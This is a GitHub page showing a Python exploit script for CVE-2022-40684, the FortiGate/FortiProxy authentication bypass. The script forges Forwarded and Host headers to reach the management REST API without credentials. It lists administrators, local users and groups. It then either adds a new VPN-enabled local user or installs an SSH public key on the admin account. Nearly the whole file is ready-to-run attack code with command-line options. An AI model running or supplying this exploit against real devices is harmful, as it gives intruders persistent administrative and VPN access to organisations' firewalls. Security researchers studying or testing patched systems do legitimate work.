-
Notifications
You must be signed in to change notification settings - Fork 43
Expand file tree
/
Copy pathCVE-2022-40684.py
More file actions
158 lines (137 loc) · 7.41 KB
/
CVE-2022-40684.py
File metadata and controls
158 lines (137 loc) · 7.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#! /usr/bin/python3
# -*- coding: utf-8 -*-
r'''
Copyright 2025 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
This should work on Linux & Windows using Python3
File name CVE-2022-40684.py
https://www.fortiguard.com/psirt/FG-IR-22-377
-> Fixed in Fortigate 7.2.2 & 7.0.7 (6.x not vulnerable)
-> Also vulnerable: FortiProxy & FortiSwitchManager
written by Photubias, 2025-10-28
--- Fortigate ---
'''
import optparse, requests, urllib3, os, re
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
dctHeaders = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:80";by="[127.0.0.1]:81"',
'Host': '127.0.0.1:80'
}
dctProxy = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def getJsonData(sURL):
oResponse = requests.get(sURL, headers=dctHeaders, verify=False, timeout=5, proxies=dctProxy)
if oResponse.status_code != 200:
print('[-] Not vulnerable')
return
return oResponse.json()
def readData(sTarget, iPort, boolVerbose):
lstAdmins = []
sURL = f'https://{sTarget}:{iPort}/api/v2/cmdb/system/admin'
dctResponse = getJsonData(sURL)
if not dctResponse: return False, None, None
if boolVerbose:
print('[+] Dealing with device')
print(' Serial: {}'.format(dctResponse['serial']))
print(' Version: {} build {}'.format(dctResponse['version'], dctResponse['build']))
print(' User count: {}'.format(len(dctResponse['results'])))
print(' First user: {} (who is {})'.format(dctResponse['results'][0]['name'], dctResponse['results'][0]['accprofile']))
sURL = f'https://{sTarget}:{iPort}/api/v2/cmdb/user/local'
dctResponse = getJsonData(sURL)
if boolVerbose:
sLocalUsers = ''
for x in dctResponse['results']:
if 'admin' in x['name'].lower(): lstAdmins.append(x['name'])
sLocalUsers += '{}, '.format(x['name'])
print('[+] Detected {} local users: {}'.format(len(dctResponse['results']), sLocalUsers[:-2]))
sURL = f'https://{sTarget}:{iPort}/api/v2/cmdb/user/group'
dctResponse = getJsonData(sURL)
lstVPNGroups = []
sGroups = ''
for x in dctResponse['results']:
sGroups += '{}, '.format(x['name'])
if 'vpn' in x['name'].lower(): lstVPNGroups.append(x['name'])
if boolVerbose:
print('[+] Detected {} groups: {}'.format(len(dctResponse['results']), sGroups[:-2]))
print(' Potential VPN group(s): {}'.format(', '.join(lstVPNGroups)))
return True, lstVPNGroups, lstAdmins
def addUser(sTarget, iPort, sUser, sPass, dctVPNGroups):
dctData = {
'name': sUser,
'status': 'enable',
'passwd': sPass
}
sURL = f'https://{sTarget}:{iPort}/api/v2/cmdb/user/local?vdom=root'
oResponse = requests.post(sURL, headers=dctHeaders, json=dctData, verify=False, proxies=dctProxy)
if oResponse.status_code != 200:
print('[-] Something went wrong, user already exists?')
return False
print(f'[+] User {sUser} added')
if len(dctVPNGroups) >= 1: print(' Adding user to the VPN group(s)')
for sGroup in dctVPNGroups:
sURL = f'https://{sTarget}:{iPort}/api/v2/cmdb/user/group/{sGroup}'
dctData = {'name': sGroup,'member': [{'name': sUser}]}
requests.put(sURL, headers=dctHeaders, json=dctData, verify=False, proxies=dctProxy)
if len(dctVPNGroups) >= 1: print(f'[+] Done, please verify VPN access via username {sUser} and password {sPass}')
return True
def addSSHKey(sTarget, iPort, sPubkey, lstAdmins):
if not os.path.exists(sPubkey):
print(f'[-] Error: file {sPubkey} not found.')
exit()
sKeydata = open(sPubkey,'r').read()
sRegex=r'([A-Za-z0-9+/=]{20,})'
if len(re.findall(sRegex,sKeydata)) != 1:
print(f'[-] Error: failed to find key entry, is this a public keyfile? ({sPubkey})')
exit()
sKey = re.findall(sRegex, sKeydata)[0]
dctData = {'ssh-public-key3':f'"ssh-rsa {sKey}"'}
for sUser in lstAdmins:
sURL = f'https://{sTarget}:{iPort}/api/v2/cmdb/system/admin/{sUser}'
oResponse = requests.put(sURL, headers=dctHeaders, json=dctData, verify=False, proxies=dctProxy)
if not 'ssh key is good' in oResponse.text.lower():
print('[-] Something went wrong, key already installed or malformed SSH key?')
return False
print(f' [+] SSH key added for user {sUser}')
return True
def runExploit(sTarget, iPort, sUsername, sPassword, sPubkey, boolVerbose):
boolVulnerable, dctVPNGroups, lstAdmins = readData(sTarget, iPort, True)
if boolVulnerable:
if sPubkey:
sAns = input(f'\n[?] Ready to exploit, continue adding SSH key to admin user(s) [y/N] ? ')
if 'y' in sAns.lower(): addSSHKey(sTarget, iPort, sPubkey, lstAdmins = ['admin'])
else:
sAns = input(f'\n[?] Ready to exploit, continue adding user {sUsername} [y/N] ? ')
if 'y' in sAns.lower(): addUser(sTarget, iPort, sUsername, sPassword, dctVPNGroups)
def main():
sUsage = ('usage: %prog [options]\n'
'Demonstration exploitation script for a vulnerable Fortigate\n'
'Reads out details (administrators, users & groups)\n'
'Adds new local VPN user and adds user to VPN group (if found)')
oParser = optparse.OptionParser(usage = sUsage)
oParser.add_option('--target', '-t', dest='target', metavar='STRING', help='Target address, required')
oParser.add_option('--port', '-p', dest='port', metavar='INT', help='Target Fortigate Mgmt port, default 443', default=443)
oParser.add_option('--newusername', '-u', dest='username', metavar='STRING', help='User to add, default juul.krapuul', default='juul.krapuul')
oParser.add_option('--newpassword', '-n', dest='password', metavar='STRING', help='Password for user, default Pass123', default='Pass123')
oParser.add_option('--pubkeyfile', '-k', dest='pubkey', metavar='FILE', help='Keyfile to install for admin-user', default='')
oParser.add_option('--verbose', '-v', dest='verbose', action='store_true', help='Verbosity. Default False', default=False)
oParser.add_option('--proxy', dest='proxy', action='store_true', help='Set proxy to 127.0.0.1:8080. Default False', default=False)
(oOptions, lstArgs) = oParser.parse_args()
if not oOptions.target:
print('[-] Error, we need the address of the target device')
exit(1)
global dctProxy
if not oOptions.proxy: dctProxy = {}
runExploit(oOptions.target, oOptions.port, oOptions.username, oOptions.password, oOptions.pubkey, oOptions.verbose)
if __name__ == '__main__':
main()
exit(0)